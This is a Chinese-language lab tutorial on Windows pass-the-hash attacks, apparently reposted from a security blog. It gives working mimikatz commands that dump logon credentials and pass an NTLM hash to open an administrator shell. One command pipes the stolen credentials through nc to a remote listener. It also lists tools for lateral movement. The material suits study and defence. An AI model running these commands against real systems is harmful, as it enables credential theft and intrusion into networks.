域滲透:pth(pass the hash)


pass the hash原理

在Windows系統中,通常會使用NTLM身份認證,NTLM認證不使用明文口令,而是使用口令加密后的hash值,hash值由系統API生成(例如LsaLogonUser) ,其中hash(哈希)分為LM hash和NT hash,如果密碼長度大於15,那么無法生成LM hash。

從Windows Vista和Windows Server 2008開始,微軟默認禁用LM hash,如果攻擊者獲得了hash,就能夠在身份驗證的時候模擬該用戶(即跳過調用API生成hash的過程)

pth如何利用

演示:

靶機:win08 r2
攻擊:win08 r2

1.靶機中進行讀取NTLM HASH:

這里使用mimikatz還有些技巧如:

1、以日志文件生成保存在當前文件夾中log.txt 並且再列出目錄

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir

2、自定義保存在log.txt中

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt

3、將輸出傳輸到遠程機器:

攻擊者:nc nc -lvp 4444
受害者:mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.52.1 4444

2.攻擊機執行:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:top.pentest.top /ntlm:044dfa0c35b979ed369f7335b5ea20e0"

會反彈一個cmd窗口回來 發現hash成功傳遞!!!

同樣也可以直接執行命令mimikatz.exe privilege::debug "sekurlsa::pth /user:administrator /domain:top.pentest.top /ntlm:044dfa0c35b979ed369f7335b5ea20e0 /run:\"cmd /c whoami\"" exit

技巧::NTLM Hash = LM Hash + NT Hash,LM Hash是E19CCF75EE54E06B06A5907AF13CEF42時,可能密碼為空或者沒有存儲LM hash,2008默認不存儲LM hash。pth 用nt hash,有些工具可能需要lm hash:nthash格式,沒有lm hash可以使用任意32個字符填充,所以我們可以這樣進行00000000000000000000000000000000:E19CCF75EE54E06B06A5907AF13CEF42,只要前32位存在就行

pth總結:

在內網滲透中,當我們能夠讀取ntlm,但是發現抓取不到明文的時候,可以通過hash傳遞的方式進行橫向移動。

對於哈希傳遞不只是通過mimikatz,還可以通過wce,impacket工具包等等進行攻擊。

能夠實現Pass The Hash的工具:

Smbmap
CrackMapExec
Smbexec
Metasploit(exploit/windows/smb/psexec_psh )
wmiexec
Invoke-WMIExec
Invoke-SMBExec
mimikatz(Overpass-the-hash)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM